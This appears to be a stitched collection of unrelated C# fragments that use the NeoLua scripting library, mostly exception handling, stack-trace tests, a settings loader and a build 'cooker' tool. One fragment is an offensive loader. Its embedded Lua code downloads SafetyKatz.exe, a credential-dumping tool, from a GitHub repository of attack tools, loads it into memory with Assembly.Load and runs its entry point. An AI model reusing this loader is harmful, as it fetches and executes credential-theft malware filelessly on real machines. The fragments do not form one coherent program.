} // proc Execute private XElement CreateException(XElement x, Exception e) { var aggE = e as AggregateException; if (aggE != null) { var enumerator = aggE.InnerExceptions.GetEnumerator(); if (enumerator.MoveNext()) { CreateException(x, enumerator.Current); while (enumerator.MoveNext()) { x.Add(CreateException(new XElement("innerException"), enumerator.Current)); } } else { x.Add(new XAttribute("message", e.Message)); } } else { x.Add(new XAttribute("message", e.Message)); x.Add(new XAttribute("type", LuaType.GetType(e.GetType()).AliasOrFullName)); var data = LuaExceptionData.GetData(e); x.Add(new XElement("stackTrace", data == null ? e.StackTrace : data.StackTrace)); if (e.InnerException != null) { x.Add(CreateException(new XElement("innerException"), e.InnerException)); } } return(x); } // proc CreateException
public static void Main1(string[] args) { // create lua script engine using (var l = new Lua()) { // create an environment, that is associated to the lua scripts dynamic g = l.CreateEnvironment <LuaGlobal>(); // register new functions g.print = new Action <object[]>(Print); g.read = new Func <string, string>(Read); var chunk = l.CompileChunk(ProgramSource, "test.lua", new LuaCompileOptions() { DebugEngine = LuaStackTraceDebugger.Default }); // compile the script with debug informations, that is needed for a complete stack trace var chunk2 = l.CompileChunk(ProgramSource2, "test2.lua", new LuaCompileOptions() { DebugEngine = LuaStackTraceDebugger.Default }); // compile the script with debug informations, that is needed for a complete stack trace try { g.dochunk(chunk); // execute the chunk g.dochunk(chunk2); // execute the chunk } catch (Exception e) { Console.WriteLine("Expception: {0}", e.Message); var d = LuaExceptionData.GetData(e); // get stack trace Console.WriteLine("StackTrace: {0}", d.FormatStackTrace(0, false)); } } } // Main
private void DoScript(Lua l, LuaGlobal g, string sScript) { Type type = typeof(RunLuaTests); using (Stream src = type.Assembly.GetManifestResourceStream(type, "CompTests." + sScript)) using (StreamReader sr = new StreamReader(src)) { Console.WriteLine(); Console.WriteLine(new string('=', 60)); Console.WriteLine("= " + sScript); Console.WriteLine(); try { g.DoChunk(l.CompileChunk(sr, sScript, Lua.StackTraceCompileOptions)); } catch (Exception e) { if (e is LuaException) { Console.WriteLine("Line: {0}, Column: {1}", ((LuaException)e).Line, ((LuaException)e).Column); } Console.WriteLine("StackTrace:"); Console.WriteLine(LuaExceptionData.GetData(e).StackTrace); throw; } } }
} // ctor protected override void OnExceptionUnwind(LuaTraceLineExceptionEventArgs e) { var luaFrames = new List <LuaStackFrame>(); var offsetForRecalc = 0; LuaExceptionData currentData = null; // get default exception data if (e.Exception.Data[LuaRuntimeException.ExceptionDataKey] is LuaExceptionData) { currentData = LuaExceptionData.GetData(e.Exception); offsetForRecalc = currentData.Count; luaFrames.AddRange(currentData); } else { currentData = LuaExceptionData.GetData(e.Exception, resolveStackTrace: false); } // re-trace the stack frame var trace = new StackTrace(e.Exception, true); for (var i = offsetForRecalc; i < trace.FrameCount - 1; i++) { luaFrames.Add(LuaExceptionData.GetStackFrame(trace.GetFrame(i))); } // add trace point luaFrames.Add(new LuaStackFrame(trace.GetFrame(trace.FrameCount - 1), new LuaTraceLineDebugInfo(e, engine.FindScript(e.SourceName)))); currentData.UpdateStackTrace(luaFrames.ToArray()); } // proc OnExceptionUnwind
} // proc Exception01 private void ExceptionStackCore(LuaCompileOptions options) { using (var lua = new Lua()) { var g = lua.CreateEnvironment(); var chunk = lua.CompileChunk( Lines( "do", " error('test');", "end(function (e) return e; end);" ), "test.lua", options ); try { if (chunk.Run(g)[0] is LuaRuntimeException ex) { var data = LuaExceptionData.GetData(ex, true); Assert.AreEqual(2, data[3].LineNumber); } else { Assert.Fail(); } } catch (LuaRuntimeException) { Assert.Fail(); } } }
internal static void PrintLuaStackTrace(Exception e) { var data = LuaExceptionData.GetData(e); if (data != null) { foreach (var frame in data) { e.Log().Error(frame.ToString()); } } }
} // proc WriteError private static void WriteException(Exception e) { WriteText(ConsoleColor.DarkRed, e.GetType().Name + ": "); WriteText(ConsoleColor.Red, e.Message); Console.WriteLine(); LuaExceptionData eData = LuaExceptionData.GetData(e); WriteText(ConsoleColor.DarkGray, eData.FormatStackTrace(0, true)); Console.WriteLine(); if (e.InnerException != null) { WriteText(ConsoleColor.Gray, ">>> INNER EXCEPTION <<<"); WriteException(e.InnerException); } } // proc WriteException
public void Exception01() { using (Lua l = new Lua()) { var g = l.CreateEnvironment(); try { g.DoChunk(l.CompileChunk("\nNull(a, a);", "test.lua", LuaDeskop.StackTraceCompileOptions, new KeyValuePair <string, Type>("a", typeof(int))), 1); } catch (Exception e) { LuaExceptionData d = LuaExceptionData.GetData(e); Assert.IsTrue(d[2].LineNumber == 2); } } } // proc Exception01
public void Exception02() { using (Lua l = new Lua()) { var g = l.CreateEnvironment(); try { g.DoChunk(l.CompileChunk("math.abs(-1 / a).A();", "test.lua", LuaDeskop.StackTraceCompileOptions, new KeyValuePair <string, Type>("a", typeof(int))), 1); } catch (Exception e) { LuaExceptionData d = LuaExceptionData.GetData(e); Debug.Print("Error: {0}", e.Message); Debug.Print("Error at:\n{0}", d.StackTrace); Assert.IsTrue(d[2].LineNumber == 1); // && d[2].ColumnNumber == 18 in release this is one } } } // proc Exception01
/// <summary> /// Using NeoLua (Lua implementation for the Dynamic Language Runtime (DLR)) /// Pulls down an assembly and loads it into memory /// </summary> public static void Main() { Lua lua = new Lua(); dynamic dg = lua.CreateEnvironment <LuaGlobal>(); try { System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12; var source = @" local url = ""https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Ghostpack/SafetyKatz.exe?raw=true""; local sys = clr.System; local client = sys.Net.WebClient(); local buffer = client:DownloadData(url); local ms = sys.IO.MemoryStream(buffer); local br = sys.IO.BinaryReader(ms); print(""br is created""); local bin = br:ReadBytes(sys.Convert:ToInt32(ms.Length)); print(""bin is created""); ms:Close(); br:Close(); local a = sys.Reflection.Assembly:Load(bin); print(""assembly has been loaded""); a.EntryPoint:Invoke(nil, sys.Object[] {sys.String[]{ } } ); return 1; "; var chunk = lua.CompileChunk(source, "test.lua", new LuaCompileOptions() { DebugEngine = null }); Console.WriteLine(dg.dochunk(chunk)); } catch (Exception e) { Console.WriteLine("Expception: {0}", e.Message); var d = LuaExceptionData.GetData(e); // get stack trace Console.WriteLine("StackTrace: {0}", d.FormatStackTrace(0, false)); } }
protected void LoadLuaContext(string pathToMainFile, bool loadChildrenLuaLinks, bool specificChildrenOnly, IReadOnlyCollection <string> specificChildrenKeys) { var originalDirectory = Directory.GetCurrentDirectory(); Directory.SetCurrentDirectory(_pathToConfigFolder); bool success = true; try { using (var lua = new Lua()) { dynamic g = lua.CreateEnvironment <LuaGlobal>(); // add in optional helper methods etc. ExtendLuaEnvironment(g); int baseMemberCount = ((LuaGlobal)g).Members.Count; AddUserDefinedGlobals(g); // each found type has its instance created in lua context as a table - this populates the tables with default values, if any are set foreach (var typeAttributePair in _typesWithAttributes) { var type = typeAttributePair.Key; var instance = Activator.CreateInstance(type); var attribute = typeAttributePair.Value; var keyFromAttribute = attribute.Key; var json = JsonConvert.SerializeObject(instance); var table = LuaTable.FromJson(json); g[keyFromAttribute] = table; _settingsInstances.Add(keyFromAttribute, instance); } LuaChunk chunk; // compile the lua chunk try { chunk = lua.CompileChunk(_mainSettingsFileName, new LuaCompileOptions() { DebugEngine = new LuaDebugger() }); } catch (LuaParseException e) { success = false; Console.WriteLine($"Exception caught when parsing the lua file at line {e.Line}, column {e.Column}, source file {e.FileName}. Exception: {e}"); Console.WriteLine($"Offending line: {TryToGetExceptionLineFromFile(e)}"); throw; } try { // actually run the chunk g.dochunk(chunk); // lua tables can contain 'links' to other lua scripts - user can specify if they want to find those files and run those chunks as well if (loadChildrenLuaLinks) { var globals = ((LuaGlobal)g).Members; var addedGlobals = globals.Skip(baseMemberCount).ToList(); var global = g as LuaGlobal; foreach (var member in addedGlobals) { var table = member.Value as LuaTable; if (table == null) { continue; } if (specificChildrenOnly && specificChildrenKeys.Contains(member.Key)) { RunChildLuaScripts(lua, ref global, table); } else if (!specificChildrenOnly) { RunChildLuaScripts(lua, ref global, table); } } } } catch (LuaParseException e) { success = false; Console.WriteLine($"Could not parse lua exception: {e}. File {e.FileName}, Line {e.Line}, Index {e.Index}."); } catch (Exception e) { success = false; Console.WriteLine($"Exception {e}"); // get stack trace if possible var d = LuaExceptionData.GetData(e); Console.WriteLine($"StackTrace: {d.FormatStackTrace(0, false)}"); throw; } // getting actual C# object representations back from the lua tables var count = _settingsInstances.Count; for (int index = 0; index < count; index++) { var instancePair = _settingsInstances.ElementAt(index); // key under which the settings section has been registered var key = instancePair.Key; // the table filled with data from lua var dynamicTable = g[key]; // the type of the C# object representing the settings section (needed for deserialization) var typeToCreate = _typesWithAttributes.FirstOrDefault(p => p.Value.Key == key).Key; // convert table to json string instanceAsJson = LuaTable.ToJson(dynamicTable); // deserialize json to our type //var deserializedInstance = JsonSerializer.Deserialize(instanceAsJson, typeToCreate); var deserializedInstance = JsonConvert.DeserializeObject(instanceAsJson, typeToCreate); // store this instance _settingsInstances[key] = deserializedInstance; } var members = ((LuaGlobal)g).Members; //var relevantMembers = members.Skip(baseMemberCount).ToList(); var relevantMembers = members.Skip(baseMemberCount).ToDictionary(kv => kv.Key, kv => kv.Value); // cache the results in tables _tableCache = new LuaTable(); // skip methods defined in lua from caching - two reasons for that: // 1) Json generation explodes on delegates, // 2) they would most likely not be safe to call after the lua context is disposed anyway var scrubbed = ScrubDelegateMembersFromTable(relevantMembers); foreach (var pair in scrubbed) { _tableCache.Add(pair.Key, pair.Value); } var jsonCache = _tableCache.ToJson(); _jsonCache = JObject.Parse(jsonCache); } } finally { Directory.SetCurrentDirectory(originalDirectory); Console.WriteLine(success ? "Settings loaded successfully" : "Problem occurred when loading settings"); } }
static void Main(string[] args) { Console.ForegroundColor = ConsoleColor.White; if (args.Length < 2) { Console.Error.WriteLine("[ERROR] Cooker expected at least 2 argument while only " + args.Length + " was supplied!"); for (int i = 0; i < args.Length; i++) { Console.WriteLine(args[i]); } Environment.Exit(1); return; } string outputDirectory = Path.GetFullPath(args[0]); Directory.CreateDirectory(outputDirectory); // Create intermediate directory string intermediateDirectory = Path.GetFullPath(Path.Combine(outputDirectory, @"..\..\build\intermediate")); Directory.CreateDirectory(intermediateDirectory); // Create all Cookers IEnumerable <Cookers.BaseCooker> cookers = ReflectiveEnumerator.GetEnumerableOfType <Cookers.BaseCooker>(); foreach (Cookers.BaseCooker cooker in cookers) { cooker.Init(); } Lua luaEngine = new Lua(); Stopwatch totalTime = Stopwatch.StartNew(); List <string> luaFiles = new List <string>(); for (int i = 1; i < args.Length; i++) { string dataArg = args[i]; FileAttributes attributes = File.GetAttributes(dataArg); if (attributes.HasFlag(FileAttributes.Directory)) { // Path supplied is a directory, we need to scan it for lua files string[] foundLuaFiles = Directory.GetFiles(dataArg, "*.lua", SearchOption.AllDirectories); luaFiles.AddRange(foundLuaFiles); } else { // Path supplied is a file, verify that it is a .lua file and add it Debug.Assert(dataArg.EndsWith(".lua")); luaFiles.Add(dataArg); } } int errorCount = 0; foreach (string luaFile in luaFiles) { string output = luaFile; Stopwatch scriptTime = Stopwatch.StartNew(); LuaGlobal environment = luaEngine.CreateEnvironment <LuaGlobal>(); dynamic dynamicEnvironment = environment; dynamicEnvironment.print = new Action <object[]>(LuaPrint); foreach (Cookers.BaseCooker cooker in cookers) { cooker.RegisterFunctions(environment); } LuaChunk chunk = null; try { chunk = luaEngine.CompileChunk(luaFile, new LuaCompileOptions() { DebugEngine = LuaStackTraceDebugger.Default }); } catch (Neo.IronLua.LuaParseException e) { Debug.Fail("[LUA ERROR] " + e.Message + "\n" + e.FileName + " (line " + e.Line + ")"); } try { LuaResult result = environment.DoChunk(chunk); } catch (Exception e) { Console.WriteLine("Expception: {0}", e.Message); var d = LuaExceptionData.GetData(e); // get stack trace Console.WriteLine("StackTrace: {0}", d.FormatStackTrace(0, false)); } List <string> errors = new List <string>(); bool availableCooker = false; bool wasCooked = false; string producedFile = ""; foreach (Cookers.BaseCooker cooker in cookers) { string error; if (cooker.CanCook(luaFile, environment, out error)) { errors.Clear(); availableCooker = true; if (cooker.Cook(luaFile, environment, outputDirectory, intermediateDirectory, out producedFile, out error)) { wasCooked = true; } else if (error != "") { errors.Add(" (" + cooker.GetType().GetTypeInfo().Name + ") " + error); } } else if (error != "") { errors.Add(" (" + cooker.GetType().GetTypeInfo().Name + ") " + error); } } int pCode = 0; if (!availableCooker) { output += "(0): error P1: file error: Could not find a suitable cooker"; pCode = 1; } else if (!wasCooked) { output += "(0): error P2: file error: Could not successfully be cooked"; pCode = 2; } else { //output += " Cooked successfully"; output += " --> " + producedFile; } output += " (" + scriptTime.Elapsed.ToString() + ")"; if (availableCooker && wasCooked) { Console.ForegroundColor = ConsoleColor.Green; //Console.Write("[SUCCESS]: "); } else { Console.ForegroundColor = ConsoleColor.Red; //Console.Write("[ERROR]: "); errorCount++; } Console.ForegroundColor = ConsoleColor.White; Console.WriteLine(output); if (!availableCooker || !wasCooked) { foreach (string error in errors) { Console.WriteLine("(0): warning P" + pCode + " : " + error); } } } if (luaFiles.Count > 1) { Console.WriteLine("Cooking done in " + totalTime.Elapsed.ToString()); } if (errorCount > 0) { Environment.Exit(1); } }